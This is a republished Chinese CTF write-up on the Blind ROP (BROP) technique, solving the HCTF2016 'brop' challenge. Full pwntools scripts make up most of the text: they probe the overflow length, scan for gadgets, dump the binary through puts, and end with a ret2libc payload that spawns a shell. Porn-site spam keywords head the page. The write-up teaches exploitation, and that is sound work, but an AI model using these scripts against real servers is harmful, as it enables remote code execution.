日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

PWN学习总结(四)—— BROP

發布時間:2025/3/21 编程问答 19 豆豆
生活随笔 收集整理的這篇文章主要介紹了 PWN学习总结(四)—— BROP 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

pwn學習總結(三) —— BROP

    • 描述
    • 利用條件
    • 攻擊思路
    • 例題
      • 判斷棧溢出長度
      • 尋找 stop gadgets
      • 尋找 brop gadgets
      • 尋找 puts 函數的 plt 地址
      • 尋找 puts 函數的 got 地址并 dump plt 表
      • getshell

描述

  • BROP(Blind ROP)于 2014 年由 Standford 的 Andrea Bittau 提出,其相關研究成果發表在 Oakland 2014
  • 在 CTF 中,BROP 技術一般在出題方未提供二進制文件的情況下進行使用
  • 利用條件

  • 源程序必須存在棧溢出漏洞,以便于攻擊者可以控制程序流程
  • 服務器端的進程在崩潰之后會重新啟動,并且重新啟動的進程的地址與先前的地址一樣(這也就是說即使程序有 ASLR 保護,但是其只是在程序最初啟動的時候有效果)
  • 目前 nginx、MySQL、Apache、OpenSSH 等服務器應用都符合這種特性
  • 攻擊思路

  • 判斷棧溢出長度,如有必要可以通過棧溢出來泄露 canaries、rbp 和返回地址
  • 尋找能夠返回到 main 函數的 gadgets(通常稱為 stop_gadget
  • 尋找 brop gadgets(例如 __libc_csu_init 中的 gadgets),定位 pop rdi ; ret 的地址
  • 尋找 puts 或 write 函數的 plt,用于 leak 其它地址的值
  • dump plt 表,用于 leak 所需函數的 got 地址
  • 通過 leak 到的 got 地址,找到對應 libc 版本,通過 libc 執行系統命令進行 getshell
  • 例題

    平臺:HCTF2016
    題目:brop

    判斷棧溢出長度

    #-*- coding: utf-8 -*- from pwn import * from LibcSearcher import LibcSearcher #context.log_level = 'debug' #context.arch = 'i386'/'amd64'def GetBufLength():i = 1while 1:try:sh = process('./brop') sh.recvuntil('Do you know password?\n')payload = 'a' * ish.send(payload)output = sh.recv()#未成功返回到main函數if not output.startswith('No password'):return i - 1else:i += 1#觸發棧溢出異常except EOFError:sh.close()return i - 1buf_length = GetBufLength() print(buf_length)

    尋找 stop gadgets

    #-*- coding: utf-8 -*- from pwn import * from LibcSearcher import LibcSearcher #context.log_level = 'debug' #context.arch = 'i386'/'amd64'buf_length = 72def GetStopAddr():address = 0x400000while 1:print(hex(address))try:sh = process('./brop')sh.recvuntil('Do you know password?\n')payload = 'a'*buf_length + p64(address)sh.send(payload)output = sh.recv()#未成功返回到main函數頭部開始執行if not output.startswith('WelCome my friend'):sh.close()address += 1else:return address#觸發棧溢出異常except EOFError:address += 1sh.close()stop_gadgets = GetStopAddr() print('stop gadgets = 0x%x' % stop_gadgets)

    尋找 brop gadgets

    #-*- coding: utf-8 -*- from pwn import * from LibcSearcher import LibcSearcher #context.log_level = 'debug' #context.arch = 'i386'/'amd64'def GetBropGadgets(buf_length, stop_gadgets, address):try:sh = process('./brop')sh.recvuntil('Do you know password?\n')#尋找 pop_rbx_rbp_r12_r13_r14_r15_retpayload = 'a'*buf_length + p64(address) + p64(0)*6 + p64(stop_gadgets)sh.sendline(payload)output = sh.recv(timeout=1)sh.close()if not output.startswith('WelCome my friend'):return Falsereturn Trueexcept Exception:sh.close()return Falsedef check(buf_length, address):try:sh = process('./brop')sh.recvuntil('Do you know password?\n')payload = 'a'*buf_length + p64(address) + p64(0)*7sh.sendline(payload)output = sh.recv(timeout=1)sh.close()return Falseexcept Exception:sh.close()return Truebuf_length = 72 stop_gadgets = 0x4005d0 address = 0x400500while 1:print(hex(address))if GetBropGadgets(buf_length, stop_gadgets, address):print('possible brop gadget: 0x%x' % address)if check(buf_length, address):print('success brop gadget: 0x%x' % address)breakaddress += 1

    尋找 puts 函數的 plt 地址

    #-*- coding: utf-8 -*- from pwn import * from LibcSearcher import LibcSearcher #context.log_level = 'debug' #context.arch = 'i386'/'amd64'buf_length = 72 stop_gadgets = 0x4005d0 brop_gadgets = 0x4007ba pop_rdi_ret = brop_gadgets + 9def GetPutsPlt():addr = 0x400500while 1:print(hex(addr))try:sh = process('./brop')sh.recvuntil('Do you know password?\n')payload = 'a'*buf_length + p64(pop_rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadgets)sh.sendline(payload)output = sh.recv()sh.close()if output.startswith('\x7fELF'):print('puts plt address = 0x%x' % addr)return addraddr += 1except Exception:sh.close()addr += 1GetPutsPlt()

    尋找 puts 函數的 got 地址并 dump plt 表

    #-*- coding: utf-8 -*- from pwn import * from LibcSearcher import LibcSearcher #context.log_level = 'debug' #context.arch = 'i386'/'amd64'def leak(buf_length, pop_rdi_ret, leak_addr, puts_plt, stop_gadgets):sh = process('./brop')sh.recvuntil('Do you know password?\n')payload = 'a'*buf_length + p64(pop_rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadgets)sh.send(payload)try:data = sh.recvuntil('\nWelCome my friend', drop=True)sh.close()if data == "":data = '\x00'sh.close()return dataexcept:sh.close()return Nonebuf_length = 72 stop_gadgets = 0x4005d0 brop_gadgets = 0x4007ba pop_rdi_ret = brop_gadgets + 9 puts_plt = 0x400565leak_addr = 0x400000 result = "" while leak_addr < 0x401000:print(hex(leak_addr))data = leak(buf_length, pop_rdi_ret, leak_addr, puts_plt, stop_gadgets)if data is None:continueelse:result += dataleak_addr += len(data)with open('./code','wb') as f:f.write(result)

    使用 IDA 分析 DUMP 出來的數據




    getshell

    #-*- coding: utf-8 -*- from pwn import * from LibcSearcher import LibcSearcher #context.log_level = 'debug' #context.arch = 'i386'/'amd64'sh = process('./brop')buf_length = 72 stop_gadgets = 0x4005d0 brop_gadgets = 0x4007ba pop_rdi_ret = brop_gadgets + 9 puts_plt = 0x400565 puts_got = 0x601018sh.recvuntil('Do you know password?\n')payload = 'a' * buf_length payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) payload += p64(stop_gadgets)sh.sendline(payload) puts_addr = u64(sh.recvuntil('\nWelCome my friend', drop=True).ljust(8, '\x00'))libc = LibcSearcher('puts', puts_addr) libc_base = puts_addr - libc.dump('puts')#####################################################system_addr = libc_base + libc.dump('system') bin_sh_addr = libc_base + libc.dump('str_bin_sh')sh.recvuntil('Do you know password?\n')payload = 'a' * buf_length payload += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr) + p64(stop_gadgets)#pwnlib.gdb.attach(proc.pidof(sh)[0]) sh.sendline(payload) sh.interactive()

    總結

    以上是生活随笔為你收集整理的PWN学习总结(四)—— BROP的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。